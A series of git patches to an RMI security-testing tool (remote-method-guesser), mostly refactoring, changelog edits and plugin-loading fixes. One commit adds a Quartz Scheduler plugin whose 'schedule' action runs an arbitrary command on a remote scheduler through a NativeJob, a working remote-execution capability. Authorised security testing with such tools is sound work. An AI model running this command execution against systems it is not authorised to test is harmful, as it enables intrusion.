--- /dev/null +++ b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Helpers.java @@ -0,0 +1,36 @@ +package eu.tneitzel.rmg.plugin; + +import org.quartz.core.RemotableQuartzScheduler; + +import eu.tneitzel.rmg.internal.RMGOption; +import eu.tneitzel.rmg.io.Logger; +import eu.tneitzel.rmg.networking.RMIRegistryEndpoint; +import eu.tneitzel.rmg.operations.RemoteObjectClient; +import eu.tneitzel.rmg.utils.RMGUtils; + +public class Helpers +{ + private static RemotableQuartzScheduler scheduler = null; + + public static RemotableQuartzScheduler getScheduler() + { + if (scheduler == null) + { + if (RMGOption.TARGET_BOUND_NAME.isNull()) + { + Logger.printlnMixedYellow("The", "--bound-name", "option is required for all quartz actions."); + RMGUtils.exit(); + } + + String host = RMGOption.TARGET_HOST.getValue(); + int port = RMGOption.TARGET_PORT.getValue(); + + RMIRegistryEndpoint endpoint = new RMIRegistryEndpoint(host, port); + RemoteObjectClient client = new RemoteObjectClient(endpoint, RMGOption.TARGET_BOUND_NAME.getValue()); + + scheduler = client.createProxy(RemotableQuartzScheduler.class); + } + + return scheduler; + } +} diff --git a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzAction.java b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzAction.java new file mode 100644 index 0000000..7919123 --- /dev/null +++ b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzAction.java @@ -0,0 +1,44 @@ +package eu.tneitzel.rmg.plugin; + +import eu.tneitzel.argparse4j.global.IAction; +import eu.tneitzel.argparse4j.global.IOption; +import eu.tneitzel.rmg.internal.RMGOption; + +public enum QuartzAction implements IAction +{ + VERSION("version", "get the version of the remote scheduler", new IOption[] { + RMGOption.TARGET_HOST, + RMGOption.TARGET_PORT, + RMGOption.TARGET_BOUND_NAME, + }); + + private final String name; + private final String desc; + private final IOption[] options; + + QuartzAction(String name, String desc, IOption[] options) + { + this.name = name; + this.desc = desc; + this.options = options; + } + + @Override + public String getName() + { + return name; + } + + @Override + public String getDescription() + { + return desc; + } + + @Override + public IOption[] getOptions() + { + return options; + } + +} diff --git a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Template.java b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Template.java new file mode 100644 index 0000000..a66f391 --- /dev/null +++ b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Template.java @@ -0,0 +1,39 @@ +package eu.tneitzel.rmg.plugin; + +import eu.tneitzel.argparse4j.global.IAction; +import java.rmi.RemoteException; + +/** + * The Template class represents a template to develop remote-method-guesser plugins. + * It implements all the available plugin interfaces, but only uses placeholder implementations. + * If you want to build a plugin from it, remove the interfaces and methods that you do not + * intend to use. Other methods need to be overwritten with actual useful implementations. + * + * When changing the class name, make sure to also change the RmgPluginClass entry within the + * pom.xml file. + */ +public class Template implements IActionProvider +{ + @Override + public IAction[] getActions() + { + return QuartzAction.values(); + } + + @Override + public void dispatch(IAction action) + { + try + { + if (action == QuartzAction.VERSION) + { + Dispatcher.dispatchVersion(); + } + } + + catch (RemoteException e) + { + e.printStackTrace(); + } + } +} From 98cadf77f5509ee6ad5bdb56992ae22e936f1e55 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 27 Jan 2024 18:06:41 +0100 Subject: [PATCH 19/62] Small refactoring --- .../rmg/networking/RMIRegistryEndpoint.java | 61 ++++++++++++++----- .../tneitzel/rmg/operations/Dispatcher.java | 2 +- .../rmg/operations/RemoteObjectClient.java | 2 +- 3 files changed, 48 insertions(+), 17 deletions(-) diff --git a/src/eu/tneitzel/rmg/networking/RMIRegistryEndpoint.java b/src/eu/tneitzel/rmg/networking/RMIRegistryEndpoint.java index 2b59cad..aec3e4d 100644 --- a/src/eu/tneitzel/rmg/networking/RMIRegistryEndpoint.java +++ b/src/eu/tneitzel/rmg/networking/RMIRegistryEndpoint.java @@ -155,20 +155,15 @@ public String[] getBoundNames() throws java.rmi.NoSuchObjectException /** * Performs the RMI registries lookup operation to obtain a remote reference for the specified - * bound names. The corresponding remote objects are wrapped inside the RemoteObjectWrapper class - * and returned as an array. + * bound names. The main benefit of using this method is, that it performs exception handling. * * @param boundNames list of bound names to determine the classes from - * @return List of wrapped remote objects - * @throws IllegalArgumentException if reflective access fails - * @throws IllegalAccessException if reflective access fails - * @throws NoSuchFieldException if reflective access fails - * @throws SecurityException if reflective access fails - * @throws UnmarshalException if unmarshalling the return value fails + * @return List of remote objects looked up from the remote registry + * @throws UnmarshalException if unmarshaling the return value fails */ - public RemoteObjectWrapper[] lookup(String[] boundNames) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException, UnmarshalException + public Remote[] lookup(String[] boundNames) throws UnmarshalException { - RemoteObjectWrapper[] remoteObjects = new RemoteObjectWrapper[boundNames.length]; + Remote[] remoteObjects = new Remote[boundNames.length]; for (int ctr = 0; ctr < boundNames.length; ctr++) { @@ -184,13 +179,9 @@ public RemoteObjectWrapper[] lookup(String[] boundNames) throws IllegalArgumentE * * @param boundName name to lookup within the registry * @return Remote representing the requested remote object - * @throws IllegalArgumentException if reflective access fails - * @throws IllegalAccessException if reflective access fails - * @throws NoSuchFieldException if reflective access fails - * @throws SecurityException if reflective access fails * @throws UnmarshalException if unmarshalling the return value fails */ - public RemoteObjectWrapper lookup(String boundName) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException, UnmarshalException + public Remote lookup(String boundName) throws UnmarshalException { Remote remoteObject = remoteObjectCache.get(boundName); @@ -280,9 +271,49 @@ else if( cause instanceof SSRFException ) } } + return remoteObject; + } + + /** + * Same as the lookup action, but returns a RemoteObjectWrapper. + * + * @param boundName name to lookup within the registry + * @return RemoteObjectWrapper for the remote object + * @throws IllegalArgumentException if reflective access fails + * @throws IllegalAccessException if reflective access fails + * @throws NoSuchFieldException if reflective access fails + * @throws SecurityException if reflective access fails + * @throws UnmarshalException if unmarshalling the return value fails + */ + public RemoteObjectWrapper lookupWrapper(String boundName) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException, UnmarshalException + { + Remote remoteObject = lookup(boundName); return RemoteObjectWrapper.getInstance(remoteObject, boundName); } + /** + * Same as the lookup action, but returns an array of RemoteObjectWrapper. + * + * @param boundName name to lookup within the registry + * @return RemoteObjectWrapper for the remote object + * @throws IllegalArgumentException if reflective access fails + * @throws IllegalAccessException if reflective access fails + * @throws NoSuchFieldException if reflective access fails + * @throws SecurityException if reflective access fails + * @throws UnmarshalException if unmarshalling the return value fails + */ + public RemoteObjectWrapper[] lookupWrappers(String[] boundNames) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException, UnmarshalException + { + RemoteObjectWrapper[] wrappers = new RemoteObjectWrapper[boundNames.length]; + + for (int ctr = 0; ctr < boundNames.length; ctr++) + { + wrappers[ctr] = lookupWrapper(boundNames[ctr]); + } + + return wrappers; + } + /** * Return the Remote for the specified bound name from cache or null if it is not available. * diff --git a/src/eu/tneitzel/rmg/operations/Dispatcher.java b/src/eu/tneitzel/rmg/operations/Dispatcher.java index 9d6d29a..f7faa8b 100644 --- a/src/eu/tneitzel/rmg/operations/Dispatcher.java +++ b/src/eu/tneitzel/rmg/operations/Dispatcher.java @@ -105,7 +105,7 @@ private void obtainBoundObjects() throws NoSuchObjectException { try { - remoteObjects = getRegistry().lookup(boundNames); + remoteObjects = getRegistry().lookupWrappers(boundNames); return; } diff --git a/src/eu/tneitzel/rmg/operations/RemoteObjectClient.java b/src/eu/tneitzel/rmg/operations/RemoteObjectClient.java index 3ffe458..78951a7 100644 --- a/src/eu/tneitzel/rmg/operations/RemoteObjectClient.java +++ b/src/eu/tneitzel/rmg/operations/RemoteObjectClient.java @@ -449,7 +449,7 @@ private UnicastRef getRemoteRefByName() try { - remoteObject = rmiReg.lookup(boundName).getUnicastWrapper(); + remoteObject = rmiReg.lookupWrapper(boundName).getUnicastWrapper(); } catch (Exception e) From 9dfb6f5ae41a45dce971d2cffa767f9df8aa9600 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 27 Jan 2024 18:50:20 +0100 Subject: [PATCH 20/62] Add quartz-jobs dependency to docker --- docker/quartz-server/resources/server/pom.xml | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/docker/quartz-server/resources/server/pom.xml b/docker/quartz-server/resources/server/pom.xml index 4032ef9..a4f0861 100644 --- a/docker/quartz-server/resources/server/pom.xml +++ b/docker/quartz-server/resources/server/pom.xml @@ -16,6 +16,12 @@ quartz 2.3.2 + + + org.quartz-scheduler + quartz-jobs + 2.3.2 + From f5365cec9a868ba928a498f30dbafb2a2a0f2235 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 27 Jan 2024 18:52:38 +0100 Subject: [PATCH 21/62] Extend quartz-scheduler plugin --- plugins/quartz-scheduler/pom.xml | 8 ++++- .../eu/tneitzel/rmg/plugin/Dispatcher.java | 30 +++++++++++++++++++ .../java/eu/tneitzel/rmg/plugin/Helpers.java | 16 +++++++--- 3 files changed, 49 insertions(+), 5 deletions(-) diff --git a/plugins/quartz-scheduler/pom.xml b/plugins/quartz-scheduler/pom.xml index 8eea803..2d6f0d1 100644 --- a/plugins/quartz-scheduler/pom.xml +++ b/plugins/quartz-scheduler/pom.xml @@ -17,12 +17,18 @@ 5.1.0 provided - + org.quartz-scheduler quartz 2.3.2 + + + org.quartz-scheduler + quartz-jobs + 2.3.2 + diff --git a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Dispatcher.java b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Dispatcher.java index e53fbe0..70e7d3f 100644 --- a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Dispatcher.java +++ b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Dispatcher.java @@ -2,9 +2,17 @@ import java.rmi.RemoteException; +import org.quartz.JobBuilder; +import org.quartz.JobDetail; +import org.quartz.SchedulerException; +import org.quartz.Trigger; +import org.quartz.TriggerBuilder; import org.quartz.core.RemotableQuartzScheduler; +import org.quartz.jobs.NativeJob; +import eu.tneitzel.rmg.internal.ExceptionHandler; import eu.tneitzel.rmg.io.Logger; +import eu.tneitzel.rmg.utils.RMGUtils; public class Dispatcher { @@ -15,4 +23,26 @@ public static void dispatchVersion() throws RemoteException Logger.printlnMixedYellow("Remote Quartz Scheduler version:", version); } + + public static void dispatchScheduleJob() throws RemoteException + { + RemotableQuartzScheduler scheduler = Helpers.getScheduler(); + String jobName = String.format("rmg-job-%d", System.currentTimeMillis()); + + JobDetail myJob = JobBuilder.newJob(NativeJob.class).withIdentity(jobName).build(); + Trigger myTrigger = TriggerBuilder.newTrigger().startNow().build(); + + try + { + scheduler.scheduleJob(myJob, myTrigger); + } + + catch (SchedulerException e) + { + Logger.printlnMixedYellow("Caught unexpected", "SchedulerException", "after scheduling the job."); + ExceptionHandler.showStackTrace(e); + + RMGUtils.exit(); + } + } } diff --git a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Helpers.java b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Helpers.java index 4c490d1..7bb7d88 100644 --- a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Helpers.java +++ b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Helpers.java @@ -1,11 +1,12 @@ package eu.tneitzel.rmg.plugin; +import java.rmi.UnmarshalException; + import org.quartz.core.RemotableQuartzScheduler; import eu.tneitzel.rmg.internal.RMGOption; import eu.tneitzel.rmg.io.Logger; import eu.tneitzel.rmg.networking.RMIRegistryEndpoint; -import eu.tneitzel.rmg.operations.RemoteObjectClient; import eu.tneitzel.rmg.utils.RMGUtils; public class Helpers @@ -25,10 +26,17 @@ public static RemotableQuartzScheduler getScheduler() String host = RMGOption.TARGET_HOST.getValue(); int port = RMGOption.TARGET_PORT.getValue(); - RMIRegistryEndpoint endpoint = new RMIRegistryEndpoint(host, port); - RemoteObjectClient client = new RemoteObjectClient(endpoint, RMGOption.TARGET_BOUND_NAME.getValue()); + try + { + RMIRegistryEndpoint endpoint = new RMIRegistryEndpoint(host, port); + scheduler = (RemotableQuartzScheduler)endpoint.lookup(RMGOption.TARGET_BOUND_NAME.getValue()); + } - scheduler = client.createProxy(RemotableQuartzScheduler.class); + catch (UnmarshalException e) + { + Logger.printlnMixedYellow("Caught unexpected", "UnmarshalException", "while calling the RMI registry."); + RMGUtils.exit(); + } } return scheduler; From af1c52137277cacfe2ccc9c166fd68770ae3e213 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Tue, 26 Mar 2024 20:30:45 +0100 Subject: [PATCH 22/62] Change CHANGELOG.md version format --- CHANGELOG.md | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index afcbab8..70c05fc 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,7 +6,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). -## [5.0.0] - Dec 23, 2023 +## v5.0.0 - Dec 23, 2023 ### Added @@ -22,7 +22,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Stream corruption errors during method guessing are only displayed if `--verbose` is used -## [4.4.1] - Jun 22, 2023 +## v4.4.1 - Jun 22, 2023 ### Added @@ -34,7 +34,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Improve *rmg*s Java16+ compatibility (see #49) -## [4.4.0] - Jan 19, 2023 +## v4.4.0 - Jan 19, 2023 ### Changed @@ -44,7 +44,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Make *rmg* Java16+ compatible -## [4.3.1] - Sep 19, 2022 +## v4.3.1 - Sep 19, 2022 ### Changed @@ -53,7 +53,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Typofix `enmeration` -> `enumeration` -## [4.3.0] - May 11, 2022 +## v4.3.0 - May 11, 2022 ### Added @@ -70,7 +70,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * The [example server](/docker/example-server) now provides a full working *Activation System* on port `1098` -## [4.2.2] - Jan 11, 2022 +## v4.2.2 - Jan 11, 2022 ### Changed @@ -78,7 +78,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Fix some typos inside the help menu -## [4.2.1] - Jan 07, 2022 +## v4.2.1 - Jan 07, 2022 ### Changed @@ -87,7 +87,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Improve test cases -## [4.2.0] - Dec 30, 2021 +## v4.2.0 - Dec 30, 2021 ### Changed @@ -97,7 +97,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Updated test cases. -## [4.1.0] - Dec 23, 2021 +## v4.1.0 - Dec 23, 2021 ### Added @@ -118,7 +118,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Bugfix: Indentation issue within the *SSRF* server -## [4.0.0] - Dec 05, 2021 +## v4.0.0 - Dec 05, 2021 ### Added @@ -148,7 +148,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Changed the *DGC enumeration* to *Security Manager* enumeration. -## [3.3.0] - June 20, 2021 +## v3.3.0 - June 20, 2021 ### Added @@ -171,7 +171,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Some small bug fixes -## [3.2.0] - Apr 02, 2021 +## v3.2.0 - Apr 02, 2021 ### Added @@ -193,7 +193,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * The default wordlist and template files are now contained within the *rmg* JAR file -## [3.1.1] - Feb 16, 2021 +## v3.1.1 - Feb 16, 2021 ### Changed @@ -202,7 +202,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 that will be resolved in version ``v3.2.0``. -## [3.1.0] - Feb 14, 2021 +## v3.1.0 - Feb 14, 2021 ### Added @@ -239,7 +239,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Removed support for JSON output -## [3.0.0] - Nov 28, 2020 +## v3.0.0 - Nov 28, 2020 ### Added @@ -266,7 +266,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * The docker container compiles the *example-server* now during build time -## [2.0.0] - Sep 30, 2020 +## v2.0.0 - Sep 30, 2020 ### Added @@ -287,7 +287,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Remove old example server -## [1.1.0] - Aug 06, 2020 +## v1.1.0 - Aug 06, 2020 ### Added @@ -297,6 +297,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Add support for primitive types in interfaces -## [1.0.0] - Nov 26, 2020 +## v1.0.0 - Nov 26, 2020 Initial release :) From 454a9fd17653ce3bceba58a9ba989e344ee2c7c7 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Tue, 26 Mar 2024 21:40:09 +0100 Subject: [PATCH 23/62] Allow classes to be loaded via plugin loader When a plugin is used, additional RMI classes may be added to the codebase. These need to be taken into account when loading remote objects from the RMI registry. --- .../rmg/internal/CodebaseCollector.java | 84 ++++++++++++++++--- .../rmg/networking/RMIRegistryEndpoint.java | 2 +- src/eu/tneitzel/rmg/plugin/PluginSystem.java | 5 +- 3 files changed, 76 insertions(+), 15 deletions(-) diff --git a/src/eu/tneitzel/rmg/internal/CodebaseCollector.java b/src/eu/tneitzel/rmg/internal/CodebaseCollector.java index 6977e2a..c02272d 100644 --- a/src/eu/tneitzel/rmg/internal/CodebaseCollector.java +++ b/src/eu/tneitzel/rmg/internal/CodebaseCollector.java @@ -7,6 +7,7 @@ import java.util.HashSet; import java.util.Set; +import eu.tneitzel.rmg.plugin.PluginSystem; import eu.tneitzel.rmg.utils.RMGUtils; import javassist.CannotCompileException; import javassist.NotFoundException; @@ -87,18 +88,42 @@ public class CodebaseCollector extends RMIClassLoaderSpi */ public Class loadClass(String codebase, String name, ClassLoader defaultLoader) throws MalformedURLException, ClassNotFoundException { - Class resolvedClass = null; - long serialVersionUID = RMGOption.SERIAL_VERSION_UID.getValue(); - addCodebase(codebase, name); codebase = null; + long serialVersionUID = RMGOption.SERIAL_VERSION_UID.getValue(); + if (serialVersionUIDMap.containsKey(name)) { serialVersionUID = serialVersionUIDMap.get(name); name = "_" + name; } + else + { + try + { + // attempt to load the class directly + return originalLoader.loadClass(codebase, name, defaultLoader); + } + + catch (ClassNotFoundException e) {} + + if (PluginSystem.pluginLoader != null) + { + try + { + // if a plugin is used attempt to load the class via the plugin loader + return originalLoader.loadClass(codebase, name, PluginSystem.pluginLoader); + } + + catch (ClassNotFoundException e) {} + } + } + + // class could neither be loaded directly nor via plugin. Dynamic creation is required. + Class resolvedClass = null; + try { if (name.endsWith("_Stub")) @@ -147,19 +172,47 @@ else if (name.contains("SocketFactory") || name.endsWith("Factory") || name.ends */ public Class loadProxyClass(String codebase, String[] interfaces, ClassLoader defaultLoader) throws MalformedURLException, ClassNotFoundException { + for (String intf : interfaces) + { + addCodebase(codebase, intf); + } + + codebase = null; Class resolvedClass = null; - try { + try + { + // attempt to load the class directly without dynamic class creation + return originalLoader.loadProxyClass(codebase, interfaces, defaultLoader); + } + + catch (ClassNotFoundException e) {} + + if (PluginSystem.pluginLoader != null) + { + try + { + // if a plugin is used, attempt to load the class from the plugin loader + return originalLoader.loadProxyClass(codebase, interfaces, PluginSystem.pluginLoader); + } + + catch (ClassNotFoundException e) {} + } - for(String intf : interfaces) { + try + { + // the class could neither be loaded directly nor via plugin. Dynamic creation is required + for (String intf : interfaces) + { RMGUtils.makeInterface(intf); - addCodebase(codebase, intf); } - codebase = null; resolvedClass = originalLoader.loadProxyClass(codebase, interfaces, defaultLoader); - } catch (CannotCompileException e) { + } + + catch (CannotCompileException e) + { ExceptionHandler.internalError("loadProxyClass", "Unable to compile unknown interface class."); } @@ -235,17 +288,24 @@ public static void addSerialVersionUID(String className, long serialVersionUID) */ private void addCodebase(String codebase, String className) { - if( codebase == null ) + if (codebase == null) + { return; + } - if( className.startsWith("java.") || className.startsWith("[Ljava") || className.startsWith("javax.") ) + if (className.startsWith("java.") || className.startsWith("[Ljava") || className.startsWith("javax.")) + { codebases.putIfAbsent(codebase, new HashSet()); + } - else if( codebases.containsKey(codebase) ) { + else if (codebases.containsKey(codebase)) + { Set classNames = codebases.get(codebase); classNames.add(className); + } - } else { + else + { Set classNames = new HashSet(); classNames.add(className); codebases.put(codebase, classNames); diff --git a/src/eu/tneitzel/rmg/networking/RMIRegistryEndpoint.java b/src/eu/tneitzel/rmg/networking/RMIRegistryEndpoint.java index aec3e4d..e3290ad 100644 --- a/src/eu/tneitzel/rmg/networking/RMIRegistryEndpoint.java +++ b/src/eu/tneitzel/rmg/networking/RMIRegistryEndpoint.java @@ -219,7 +219,7 @@ public Remote lookup(String boundName) throws UnmarshalException ExceptionHandler.notBoundException(e, boundName); } - catch( Exception e ) + catch (Exception e) { Throwable cause = ExceptionHandler.getCause(e); diff --git a/src/eu/tneitzel/rmg/plugin/PluginSystem.java b/src/eu/tneitzel/rmg/plugin/PluginSystem.java index f394735..34fd163 100644 --- a/src/eu/tneitzel/rmg/plugin/PluginSystem.java +++ b/src/eu/tneitzel/rmg/plugin/PluginSystem.java @@ -34,6 +34,7 @@ public class PluginSystem { private static String manifestAttribute = "RmgPluginClass"; + public static URLClassLoader pluginLoader = null; private static IActionProvider actionProvider = null; private static IPayloadProvider payloadProvider = null; @@ -115,8 +116,8 @@ private static void loadPlugin(String pluginPath) try { - URLClassLoader ucl = new URLClassLoader(new URL[] {pluginFile.toURI().toURL()}); - Class pluginClass = Class.forName(pluginClassName, true, ucl); + pluginLoader = new URLClassLoader(new URL[] {pluginFile.toURI().toURL()}); + Class pluginClass = Class.forName(pluginClassName, true, pluginLoader); pluginInstance = pluginClass.newInstance(); } From 9343ef380c91b22ba19b19d19ccc2dded2aa20ca Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Tue, 26 Mar 2024 22:21:21 +0100 Subject: [PATCH 24/62] Fix handling of plugin options --- .../rmg/internal/ArgumentHandler.java | 7 +++++- src/eu/tneitzel/rmg/plugin/PluginSystem.java | 25 +++++++++++++++++++ 2 files changed, 31 insertions(+), 1 deletion(-) diff --git a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java index b81a8cc..2109736 100644 --- a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java +++ b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java @@ -4,6 +4,7 @@ import java.io.IOException; import java.io.InputStream; import java.util.ArrayList; +import java.util.Arrays; import java.util.EnumSet; import java.util.HashSet; import java.util.List; @@ -14,6 +15,7 @@ import eu.tneitzel.argparse4j.global.ActionContext; import eu.tneitzel.argparse4j.global.GlobalOption; import eu.tneitzel.argparse4j.global.IAction; +import eu.tneitzel.argparse4j.global.IOption; import eu.tneitzel.argparse4j.global.exceptions.RequirementException; import eu.tneitzel.argparse4j.inf.ArgumentParser; import eu.tneitzel.argparse4j.inf.ArgumentParserException; @@ -117,8 +119,11 @@ private Properties loadConfig(String filename) */ private void initialize() { + List options = PluginSystem.getPluginOptions(); + options.addAll(Arrays.asList(RMGOption.values())); + config = loadConfig(args.get(RMGOption.GLOBAL_CONFIG.getName())); - GlobalOption.parseOptions(args, config, RMGOption.values()); + GlobalOption.parseOptions(args, config, options.toArray(new IOption[0])); if (RMGOption.GLOBAL_NO_COLOR.getBool()) { diff --git a/src/eu/tneitzel/rmg/plugin/PluginSystem.java b/src/eu/tneitzel/rmg/plugin/PluginSystem.java index 34fd163..643c340 100644 --- a/src/eu/tneitzel/rmg/plugin/PluginSystem.java +++ b/src/eu/tneitzel/rmg/plugin/PluginSystem.java @@ -6,10 +6,14 @@ import java.net.URLClassLoader; import java.rmi.server.RMIClientSocketFactory; import java.rmi.server.RMISocketFactory; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; import java.util.jar.JarInputStream; import java.util.jar.Manifest; import eu.tneitzel.argparse4j.global.IAction; +import eu.tneitzel.argparse4j.global.IOption; import eu.tneitzel.argparse4j.inf.SubparserContainer; import eu.tneitzel.argparse4j.inf.Subparsers; import eu.tneitzel.rmg.exceptions.MalformedPluginException; @@ -317,6 +321,27 @@ public static IAction[] getPluginActions() return new IAction[] {}; } + /** + * Return options added by a user defined plugin. If no plugin was specified, + * an empty list of options is returned. + * + * @return array of additional options + */ + public static List getPluginOptions() + { + List options = new ArrayList(); + + if (actionProvider != null) + { + for (IAction action : actionProvider.getActions()) + { + options.addAll(Arrays.asList(action.getOptions())); + } + } + + return options; + } + /** * Add actions added by a user defined plugin to an argument parser. * From a68a7805bb5760eac54be606f7c4eace64fd0e04 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Tue, 26 Mar 2024 22:25:36 +0100 Subject: [PATCH 25/62] Extend Quartz Scheduler Plugin --- .../eu/tneitzel/rmg/plugin/Dispatcher.java | 7 +- .../eu/tneitzel/rmg/plugin/QuartzAction.java | 7 ++ .../eu/tneitzel/rmg/plugin/QuartzOption.java | 93 +++++++++++++++++++ .../java/eu/tneitzel/rmg/plugin/Template.java | 14 +-- 4 files changed, 113 insertions(+), 8 deletions(-) create mode 100644 plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzOption.java diff --git a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Dispatcher.java b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Dispatcher.java index 70e7d3f..3194e02 100644 --- a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Dispatcher.java +++ b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Dispatcher.java @@ -27,9 +27,14 @@ public static void dispatchVersion() throws RemoteException public static void dispatchScheduleJob() throws RemoteException { RemotableQuartzScheduler scheduler = Helpers.getScheduler(); + + String cmd = QuartzOption.SCHEDULE_CMD.getValue(); String jobName = String.format("rmg-job-%d", System.currentTimeMillis()); - JobDetail myJob = JobBuilder.newJob(NativeJob.class).withIdentity(jobName).build(); + Logger.printMixedBlue("Scheduling job", jobName, "executing "); + Logger.printlnPlainYellow(cmd); + + JobDetail myJob = JobBuilder.newJob(NativeJob.class).withIdentity(jobName).usingJobData(org.quartz.jobs.NativeJob.PROP_COMMAND, cmd).build(); Trigger myTrigger = TriggerBuilder.newTrigger().startNow().build(); try diff --git a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzAction.java b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzAction.java index 7919123..252b0f2 100644 --- a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzAction.java +++ b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzAction.java @@ -6,6 +6,13 @@ public enum QuartzAction implements IAction { + SCHEDULE("schedule", "schedule a NativeJob for command execution", new IOption[] { + RMGOption.TARGET_HOST, + RMGOption.TARGET_PORT, + RMGOption.TARGET_BOUND_NAME, + QuartzOption.SCHEDULE_CMD, + }), + VERSION("version", "get the version of the remote scheduler", new IOption[] { RMGOption.TARGET_HOST, RMGOption.TARGET_PORT, diff --git a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzOption.java b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzOption.java new file mode 100644 index 0000000..fea0a81 --- /dev/null +++ b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzOption.java @@ -0,0 +1,93 @@ +package eu.tneitzel.rmg.plugin; + +import eu.tneitzel.argparse4j.global.IOption; +import eu.tneitzel.argparse4j.global.modifiers.IArgumentModifier; +import eu.tneitzel.argparse4j.global.modifiers.MetaVar; +import eu.tneitzel.argparse4j.impl.Arguments; +import eu.tneitzel.argparse4j.inf.ArgumentAction; + +public enum QuartzOption implements IOption +{ + SCHEDULE_CMD("cmd", + "command to execute within the job", + Arguments.store(), + new IArgumentModifier[] { + new MetaVar("cmd") + }); + + /** the name of the option */ + private final String name; + /** description of the option */ + private final String description; + /** argumentAction of the option */ + private final ArgumentAction argumentAction; + /** argumentModifier of the option */ + private final IArgumentModifier[] modifiers; + /** the value of the option */ + public Object value = null; + + /** + * Initialize a QuartzOption. + * + * @param name the name of the option + * @param description the description of the option + * @param argumentAction the associated argument action (store, storeTrue, etc.) + */ + QuartzOption(String name, String description, ArgumentAction argumentAction) + { + this(name, description, argumentAction, new IArgumentModifier[] {}); + } + + /** + * Initialize a QuartzOption. + * + * @param name the name of the option + * @param description the description of the option + * @param argumentAction the associated argument action (store, storeTrue, etc.) + * @param modifiers the argumentModifiers for the option + */ + QuartzOption(String name, String description, ArgumentAction argumentAction, IArgumentModifier[] modifiers) + { + this.name = name; + this.description = description; + this.argumentAction = argumentAction; + this.modifiers = modifiers; + } + + public String getName() + { + return name; + } + + public String getDescription() + { + return description; + } + + public ArgumentAction getArgumentAction() + { + return argumentAction; + } + + public IArgumentModifier[] getArgumentModifiers() + { + return modifiers; + } + + public void setValue(Object value) + { + this.value = value; + } + + public T getValue() + { + try + { + return (T)value; + } + + catch (ClassCastException e) {} + + return null; + } +} diff --git 